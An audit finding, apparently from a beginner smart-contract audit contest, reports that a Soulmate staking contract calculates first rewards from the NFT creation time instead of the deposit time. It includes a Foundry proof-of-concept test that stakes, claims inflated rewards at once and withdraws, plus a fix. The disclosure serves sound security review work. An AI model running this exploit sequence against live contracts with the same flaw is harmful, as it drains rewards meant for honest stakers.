Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: high
Valid

The first stake reward calculation is done based on the NFT creation time rather than the stake time.

Summary

The staking protocol intends to provide 1 token per staking token per week. However, a vulnerability was found where a user could claim the reward right after staking, provided that the user never claimed the reward previously and at least one week has passed since the user's Soulmate NFT token was created.

Vulnerability Details

The fundamental cause of this is related to the highlighted code in Staking::claimRewards below. Instead of using the actual stake deposit time, it uses the NFT creation time as the staked time if the user never claimed the rewards.

function claimRewards() public {
uint256 soulmateId = soulmateContract.ownerToId(msg.sender);
// first claim
if (lastClaim[msg.sender] == 0) {
- lastClaim[msg.sender] = soulmateContract.idToCreationTimestamp(
- soulmateId
- );
}
...

This leads to a vulnerability where a user could receive the stake reward even without staking for the minimum duration of one week. The PoC shown below can be added to StakingTest.t.sol to demonstrate this issue.

function test_WrongFirstStakeRewards() public {
// 1. mint NFT token
uint nftMintTimeStamp = block.timestamp;
vm.prank(soulmate1);
soulmateContract.mintSoulmateToken();
vm.prank(soulmate2);
soulmateContract.mintSoulmateToken();
// 2. time lapse 5 weeks, get airdrop
uint weeksSinceNftMint = 5;
vm.warp(nftMintTimeStamp + weeksSinceNftMint * 1 weeks);
vm.prank(soulmate1);
airdropContract.claim();
// airdropped LoveToken = days since NFT mint = 5 weeks * 7 ether
assertTrue(
loveToken.balanceOf(soulmate1) == weeksSinceNftMint * 7 ether
);
// 3. stake and claim stake reward right away
uint256 amountToStake = loveToken.balanceOf(soulmate1);
vm.startPrank(soulmate1);
loveToken.approve(address(stakingContract), amountToStake);
stakingContract.deposit(amountToStake);
stakingContract.claimRewards();
stakingContract.withdraw(amountToStake);
vm.stopPrank();
// 4. final balance check
// 1st stake reward
// = # of staked token x weeks since NftMint
// = 35 ether x 5 weeks since NFT mint = 175 ether
// newBalance
// = initially staked + stake reward = 35 + 175 = 210 ether
assertTrue(
loveToken.balanceOf(soulmate1) == 210 ether
);
}

The overall flow of this PoC is summarized below:

  1. A user is assigned to a soulmate and mints a Soulmate NFT.

  2. The user claims LoveToken airdrops after a few weeks (e.g., 5 weeks in this example).

  3. The user stakes the LoveTokens and claims the stake rewards without having to wait at least a week, which is the minimum required staking time.

  4. The user gets the reward based on the Soulmate NFT creation timestamp.

Impact

The impact of this vulnerability is HIGH because the protocol does not work as intended. Literally, a user can get the stake reward without having to stake for the required duration.

Tools Used

Foundry

Recommendations

When a user calls Staking::claimRewards, use the actual stake deposit time to calculate the stake reward.

Updates

Lead Judging Commences

0xnevi Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-claimRewards-multi-deposits-time

High severity, this allows users to claim additional rewards without committing to intended weekly staking period via multi-deposit/deposit right before claiming rewards.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.